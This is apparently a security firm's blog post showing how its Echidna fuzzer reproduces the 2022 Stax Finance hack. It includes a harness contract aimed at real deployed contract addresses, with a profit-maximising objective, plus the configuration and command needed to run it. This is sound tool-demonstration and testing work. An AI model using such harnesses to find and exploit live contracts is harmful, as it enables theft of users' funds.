By Guillermo Larregay and Elvis Skozdopolj

With the release of version 2.1.0 of Echidna, our fuzzing tool for Ethereum smart contracts, we’ve introduced new features for direct retrieval of on-chain data, such as contract code and storage slot values. This data can be used to fuzz deployed contracts in their on-chain state or to test how new code integrates with existing contracts.

Echidna now has the capability to recreate real-world hacks by fuzzing contract interfaces and on-chain code. In this blog post, we’ll demonstrate how the 2022 Stax Finance hack was reproduced using only Echidna to find and exploit the vulnerability. This incident involved a missing validation check in the StaxLPStaking contract, which led to the theft of 321,154 xLP tokens, worth approximately $2.3 million at the time of the attack.

Echidna’s “optimization mode” will automatically discover transaction sequences that maximize or minimize the outcome of a custom function. In this case, we’ll simply ask it to maximize an attacker’s balance and let it do the rest of the work.

Recreating the Stax Finance exploit

To reproduce the Stax Finance exploit using Echidna, we need:

  • A contract to be fuzzed by Echidna that wraps the target Stax contract and related contracts (figure 1)
  • An Echidna configuration file that contains the block number from before the attack took place and an RPC provider to get on-chain information (figure 2)

Figure 1 shows a simplified version of the fuzzing contract contract, and figure 2 shows the configuration file. You can find the full contract and configuration file here.

contract StaxExploit {

    IStaxLP StaxLP = IStaxLP(0xBcB8b7FC9197fEDa75C101fA69d3211b5a30dCD9);
    IStaxLPStaking StaxLPStaking =
        IStaxLPStaking(0xd2869042E12a3506100af1D192b5b04D65137941);

    ...

    constructor() {
        // Using HEVM to set the block.number and block.timestamp
        hevm.warp(1665493703);
        hevm.roll(15725066);

        // setting up initial balances
        ...
    }

    function getBalance() internal returns (uint256) {
        return StaxLP.balanceOf(address(this));
    }

    function stake(uint256 _amount) public {
        _amount = (_amount % getBalance()) + 1;
        StaxLPStaking.stake(_amount);
    }

    // Other functions wrappers ...

    function migrateStake(
        address oldStaking,
        uint256 amount
    ) public {
        StaxLPStaking.migrateStake(oldStaking, amount);
    }

    function migrateWithdraw(
        address staker,
        uint256 amount
    ) public {
        StaxLPStaking.migrateWithdraw(staker, amount);
    }

    fallback() external payable {}

    // The optimization function
    function echidna_optimize_extracted_profit() public returns (int256) {
        return (int256(StaxLP.balanceOf(address(this))) -
            int256(initialAmount));
    }
}

Figure 1: The attacker contract

In the fuzzing contract, we added a function called echidna_optimize_extracted_profit(), allowing Echidna to monitor the profit for the current transaction sequence and identify the most profitable one.

testMode: optimization
testLimit: 1000000
corpusDir: corpus-stax
rpcUrl: https://.../
rpcBlock: 15725066

Figure 2: The Echidna configuration file

As shown in the configuration file, we set Echidna to run in optimization mode to maximize the profit function.

Next, we ran Echidna on the fuzzing contract using the command in figure 3.

$ echidna ./StaxExploit.sol --config echidna-config.yaml

Figure 3: The command used to execute Echidna

Echidna’s optimizer generates random sequences of function calls with varying arguments, calculating the return value of the echidna_optimize_extracted_profit() function for each sequence. At the end of the run, it discards any unnecessary or reverting calls from the sequence of transactions, leaving only those calls that maximize the profit.

Thus, with our fuzzing contract and the profit function, Echidna can swiftly discover the correct sequence of transactions to reproduce the hack, without needing prior knowledge of the actual contract exploit.

Figure 4: An Echidna run using the code in this post

Nitty-gritty details

Now that we’ve given a high-level overview of how Echidna can recreate the exploit, let’s dive into some technical details for readers interested in trying this out on their own.

To set up the fuzzing contract, we used Slither’s code generation utilities. This let us get the target contract’s interface and deployment address, in addition to other necessary interfaces and addresses (e.g., ERC-20 tokens, other contracts, and user-defined data types), from Etherscan. We also created wrappers for Echidna to call the contract functions, and we added our echidna_optimize_extracted_profit() function.

We took advantage of Echidna’s ability to use hevm cheat codes for manipulating the execution environment. This involved setting the block number and block timestamp to a point in time just prior to the actual exploit. To streamline the use of hevm cheat codes, we used helpers from our properties repository and imported the HEVM.sol helper.

In setting up the configuration file, we configured testMode to optimization. We also assigned the RPC provider and block number (indicated by rpcUrl and rpcBlock parameters, respectively) for Echidna to fetch the on-chain information. To prevent an indefinite runtime in case Echidna doesn’t find the exploit, we set an upper limit of one million test runs through the testLimit parameter. The resulting corpus was stored in the corpus-stax directory, as specified in the corpusDir parameter.

Limitations and challenges

While Echidna is a powerful tool, it’s not without limitations and challenges:

  1. Echidna might not find all vulnerabilities. Since fuzz testing can’t guarantee complete coverage, it’s crucial to augment Echidna with other security testing methods like static analysis, formal verification, and even unit testing (e.g., 100% branch coverage, testing for edge cases, positive and negative tests, etc.), for a comprehensive analysis.
  2. Complex contracts may require more time. Depending on the complexity of the smart contract, it might take Echidna longer to discover vulnerabilities.
  3. Fetching contracts and slots from the network can be slow. API rate limits can hinder the process of acquiring on-chain information for contracts using numerous storage slots. There are ongoing discussions on how to mitigate this issue.
  4. Customization may be needed. In certain cases, you may need to tailor Echidna’s configuration or test harnesses to suit your specific use case.

To overcome these challenges, follow best practices such as combining Echidna with other security testing tools, thoroughly understanding your smart contract’s functionality, and consulting security experts as necessary.

Echidna improves contract security

The introduction of new features in Echidna, such as on-chain contract retrieval, data fetching, and multicore fuzzing, opens up new ways of improving the security of your code in real-world scenarios. Adding fuzz tests into your project improves the security of your code by covering edge cases that may be overlooked by unit or integration tests.

For more guidance on using Echidna, including detailed documentation and practical examples, visit our “Building Secure Contracts” website. If you prefer visual learning, check out our informative Echidna live streams available on YouTube.

Download Echidna today and start exploring all of its features. Visit our official repository for the latest release and installation instructions. We encourage you to reproduce this exploit to get familiar with the new on-chain fuzzing feature and to gain insights on how it can help make your contracts more secure.